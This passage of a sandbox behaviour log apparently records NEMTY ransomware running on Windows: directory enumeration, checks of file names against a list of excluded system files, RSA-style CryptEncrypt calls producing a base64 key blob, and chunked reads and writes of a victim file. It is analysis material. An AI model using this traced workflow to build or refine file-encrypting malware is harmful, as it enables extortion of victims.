lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0109.780] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0109.780] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0109.780] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0109.780] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0109.780] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0109.780] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0109.780] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0109.780] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0109.780] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0109.780] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0109.780] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0109.780] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0109.780] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0109.780] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0109.780] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0109.780] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0109.780] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0109.780] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0109.780] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0109.780] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0109.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0109.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0109.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0109.781] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0109.781] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0109.781] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0109.781] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0109.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0109.781] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0109.781] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0109.781] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0109.781] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0109.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0109.781] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340288 [0109.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0109.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0109.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0109.781] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf500e590, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xf500e590, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf500e590, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0109.781] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0109.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340288 | out: hHeap=0x4f90000) returned 1 [0109.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0109.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0109.781] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4c7c490, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xf4c7c490, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf4c7c490, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0109.781] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0109.781] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0109.781] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0109.781] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0109.781] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0109.781] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0109.781] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0109.781] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0109.781] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0109.782] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0109.782] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0109.782] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0109.782] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0109.782] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0109.782] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0109.782] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0109.782] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0109.782] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0109.782] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0109.782] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0109.782] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0109.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0109.782] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0109.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0109.782] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0109.782] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0109.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0109.782] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0109.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0109.782] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0109.782] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0109.782] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0109.782] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0109.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0109.782] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0109.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0109.782] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0109.782] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0109.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0109.782] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0109.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0109.782] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0109.782] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0109.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63401e0 [0109.782] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0109.782] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0109.783] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0109.783] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4c7c490, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xf4c7c490, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf4c7c490, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0109.783] FindClose (in: hFindFile=0x3423a70 | out: hFindFile=0x3423a70) returned 1 [0109.783] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0109.783] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340158 | out: hHeap=0x4f90000) returned 1 [0109.783] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0109.783] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28135767, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x28135767, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x28135767, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd13, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="icon.png", cAlternateFileName="")) returned 1 [0109.783] lstrcmpiW (lpString1="icon.png", lpString2=".") returned 1 [0109.783] lstrcmpiW (lpString1="icon.png", lpString2="..") returned 1 [0109.783] lstrcmpiW (lpString1="icon.png", lpString2="...") returned 1 [0109.783] lstrcmpiW (lpString1="icon.png", lpString2="windows") returned -1 [0109.783] lstrcmpiW (lpString1="icon.png", lpString2="$RECYCLE.BIN") returned 1 [0109.783] lstrcmpiW (lpString1="icon.png", lpString2="rsa") returned -1 [0109.783] lstrcmpiW (lpString1="icon.png", lpString2="NTDETECT.COM") returned -1 [0109.783] lstrcmpiW (lpString1="icon.png", lpString2="ntldr") returned -1 [0109.783] lstrcmpiW (lpString1="icon.png", lpString2="MSDOS.SYS") returned -1 [0109.783] lstrcmpiW (lpString1="icon.png", lpString2="IO.SYS") returned -1 [0109.783] lstrcmpiW (lpString1="icon.png", lpString2="boot.ini") returned 1 [0109.783] lstrcmpiW (lpString1="icon.png", lpString2="boot.ini") returned 1 [0109.783] lstrcmpiW (lpString1="icon.png", lpString2="AUTOEXEC.BAT") returned 1 [0109.783] lstrcmpiW (lpString1="icon.png", lpString2="ntuser.dat") returned -1 [0109.783] lstrcmpiW (lpString1="icon.png", lpString2="desktop.ini") returned 1 [0109.783] lstrcmpiW (lpString1="icon.png", lpString2="CONFIG.SYS") returned 1 [0109.783] lstrcmpiW (lpString1="icon.png", lpString2="RECYCLER") returned -1 [0109.783] lstrcmpiW (lpString1="icon.png", lpString2="BOOTSECT.BAK") returned 1 [0109.783] lstrcmpiW (lpString1="icon.png", lpString2="bootmgr") returned 1 [0109.783] lstrcmpiW (lpString1="icon.png", lpString2="programdata") returned -1 [0109.783] lstrcmpiW (lpString1="icon.png", lpString2="appdata") returned 1 [0109.783] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0109.783] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0109.783] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon.png", cchWideChar=8, lpMultiByteStr=0x653ef10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="icon.png", lpUsedDefaultChar=0x0) returned 8 [0109.783] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0109.783] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0109.783] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon.png", cchWideChar=8, lpMultiByteStr=0x653ef10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="icon.png", lpUsedDefaultChar=0x0) returned 8 [0109.783] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0109.784] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0109.784] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0109.784] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0109.784] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon.png", cchWideChar=8, lpMultiByteStr=0x653ef60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="icon.png", lpUsedDefaultChar=0x0) returned 8 [0109.784] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0109.784] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0109.784] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0109.784] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon.png", cchWideChar=8, lpMultiByteStr=0x653ef98, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="icon.png", lpUsedDefaultChar=0x0) returned 8 [0109.784] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0109.784] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0109.784] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0109.784] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0109.784] Sleep (dwMilliseconds=0x5) [0109.790] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xf51651f0, dwHighDateTime=0x1d561e7)) [0109.790] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xf51651f0, dwHighDateTime=0x1d561e7)) [0109.791] GetLastError () returned 0x12 [0109.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0109.791] GetLastError () returned 0x12 [0109.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0109.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0109.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0109.791] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0109.791] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0109.791] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0109.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0109.791] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ec5c | out: pszString="TD5amplF/JfDfvaa5tHzf7nb5Id8f0NG57V8oDuq26RTA3tE+Elk1m828k9k0Evo\r\nOT+eYgftTMChIEWtt0Tfi6ZEKYgxDuEEO49VaW8vd5zP2UCRmBqx3nZIwLgx3nOQ\r\nB3jPvFlQMGtYGGyta8dpD4P+U9dNbwbkpwQHfVAGmAiMQts/PH0ZjbXVDh1jVoyo\r\n49N3AoDvHUJU//hht/SdDvL2IXdt/5RNS3gKKflaBLsIviwZ0dPw/ykzmPTLfVzU\r\nYpQ4K/ELSmyoAnR09LU3RyYfegMTr9kEdWGARpq4cl+WEI/HUljGBzaKshEiR73h\r\n3fKCPJ9d1neZIRiRZeGjtQ==\r\n", pcchString=0x653ec5c) returned 1 [0109.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0109.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0109.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0109.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0109.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0109.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0109.791] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\icon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\icon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0109.792] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0109.792] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0109.792] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.792] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0109.801] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.801] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0109.801] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.801] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0109.811] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.811] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, 